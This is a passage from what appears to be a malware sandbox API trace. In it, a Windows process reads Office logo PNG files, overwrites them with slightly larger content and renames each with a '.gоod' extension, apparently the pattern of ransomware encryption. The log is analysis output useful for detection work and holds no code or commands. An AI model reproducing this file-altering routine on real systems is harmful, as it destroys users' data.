dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x47c [0203.161] GetFileType (hFile=0x47c) returned 0x1 [0203.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0203.162] GetFileType (hFile=0x47c) returned 0x1 [0203.162] WriteFile (in: hFile=0x47c, lpBuffer=0x34f2ca0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x34f2ca0*, lpNumberOfBytesWritten=0x1fcee148*=0x720, lpOverlapped=0x0) returned 1 [0203.162] CloseHandle (hObject=0x47c) returned 1 [0203.163] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x64 [0203.163] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-100.png.gоod", lpFilePart=0x0) returned 0x69 [0203.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0203.163] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x754e8430, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x720)) returned 1 [0203.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0203.163] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-100.png.gоod")) returned 1 [0203.163] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x64 [0203.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0203.164] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x34f3ff0 | out: lpFileInformation=0x34f3ff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0203.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0203.164] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x64 [0203.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0203.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x47c [0203.164] GetFileType (hFile=0x47c) returned 0x1 [0203.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0203.164] GetFileType (hFile=0x47c) returned 0x1 [0203.164] GetFileSize (in: hFile=0x47c, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x8f9 [0203.164] ReadFile (in: hFile=0x47c, lpBuffer=0x34f4c88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x34f4c88*, lpNumberOfBytesRead=0x1fcee238*=0x8f9, lpOverlapped=0x0) returned 1 [0203.806] CloseHandle (hObject=0x47c) returned 1 [0203.887] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x64 [0203.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0203.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x47c [0203.888] GetFileType (hFile=0x47c) returned 0x1 [0203.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0203.888] GetFileType (hFile=0x47c) returned 0x1 [0203.888] WriteFile (in: hFile=0x47c, lpBuffer=0x33fd4d8*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x33fd4d8*, lpNumberOfBytesWritten=0x1fcee148*=0x900, lpOverlapped=0x0) returned 1 [0203.889] CloseHandle (hObject=0x47c) returned 1 [0203.889] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x64 [0203.889] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-140.png.gоod", lpFilePart=0x0) returned 0x69 [0203.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0203.890] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x75be0747, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x900)) returned 1 [0203.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0203.890] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-140.png.gоod")) returned 1 [0203.891] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x64 [0203.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0203.891] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x33fe828 | out: lpFileInformation=0x33fe828*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa81)) returned 1 [0203.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0203.891] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x64 [0203.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0203.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x47c [0203.891] GetFileType (hFile=0x47c) returned 0x1 [0203.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0203.891] GetFileType (hFile=0x47c) returned 0x1 [0203.891] GetFileSize (in: hFile=0x47c, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xa81 [0203.891] ReadFile (in: hFile=0x47c, lpBuffer=0x33ff648, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x33ff648*, lpNumberOfBytesRead=0x1fcee238*=0xa81, lpOverlapped=0x0) returned 1 [0204.165] CloseHandle (hObject=0x47c) returned 1 [0204.294] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x64 [0204.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0204.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0204.297] GetFileType (hFile=0x478) returned 0x1 [0204.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0204.297] GetFileType (hFile=0x478) returned 0x1 [0204.297] WriteFile (in: hFile=0x478, lpBuffer=0x3446a50*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3446a50*, lpNumberOfBytesWritten=0x1fcee148*=0xa90, lpOverlapped=0x0) returned 1 [0204.298] CloseHandle (hObject=0x478) returned 1 [0204.298] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x64 [0204.298] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-180.png.gоod", lpFilePart=0x0) returned 0x69 [0204.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0204.298] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x75fc0534, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa90)) returned 1 [0204.298] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0204.299] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-180.png.gоod")) returned 1 [0204.300] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x63 [0204.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0204.300] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x3447da0 | out: lpFileInformation=0x3447da0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x64a)) returned 1 [0204.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0204.300] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x63 [0204.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0204.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0204.301] GetFileType (hFile=0x478) returned 0x1 [0204.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0204.301] GetFileType (hFile=0x478) returned 0x1 [0204.301] GetFileSize (in: hFile=0x478, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x64a [0204.301] ReadFile (in: hFile=0x478, lpBuffer=0x3448778, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3448778*, lpNumberOfBytesRead=0x1fcee238*=0x64a, lpOverlapped=0x0) returned 1 [0204.303] CloseHandle (hObject=0x478) returned 1 [0204.366] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x63 [0204.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0204.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0204.368] GetFileType (hFile=0x478) returned 0x1 [0204.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0204.368] GetFileType (hFile=0x478) returned 0x1 [0204.368] WriteFile (in: hFile=0x478, lpBuffer=0x34c3f88*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x34c3f88*, lpNumberOfBytesWritten=0x1fcee148*=0x650, lpOverlapped=0x0) returned 1 [0204.681] CloseHandle (hObject=0x478) returned 1 [0204.682] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x63 [0204.682] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-80.png.gоod", lpFilePart=0x0) returned 0x68 [0204.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0204.682] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x76379e6f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x650)) returned 1 [0204.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0204.682] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-80.png.gоod")) returned 1 [0204.683] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x64 [0204.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0204.683] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x34b8f00 | out: lpFileInformation=0x34b8f00*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75c)) returned 1 [0204.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0204.684] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x64 [0204.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0204.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0204.684] GetFileType (hFile=0x478) returned 0x1 [0204.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0204.684] GetFileType (hFile=0x478) returned 0x1 [0204.684] GetFileSize (in: hFile=0x478, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x75c [0204.684] ReadFile (in: hFile=0x478, lpBuffer=0x34b99f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x34b99f8*, lpNumberOfBytesRead=0x1fcee238*=0x75c, lpOverlapped=0x0) returned 1 [0204.685] CloseHandle (hObject=0x478) returned 1 [0204.712] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x64 [0204.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0204.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0204.713] GetFileType (hFile=0x478) returned 0x1 [0204.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0204.714] GetFileType (hFile=0x478) returned 0x1 [0204.714] WriteFile (in: hFile=0x478, lpBuffer=0x35346a0*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x35346a0*, lpNumberOfBytesWritten=0x1fcee148*=0x760, lpOverlapped=0x0) returned 1 [0204.714] CloseHandle (hObject=0x478) returned 1 [0204.715] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x64 [0204.715] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-100.png.gоod", lpFilePart=0x0) returned 0x69 [0204.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0204.715] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x763c640d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x760)) returned 1 [0204.715] SetThreadErrorMode (dwNewMode=0x0, 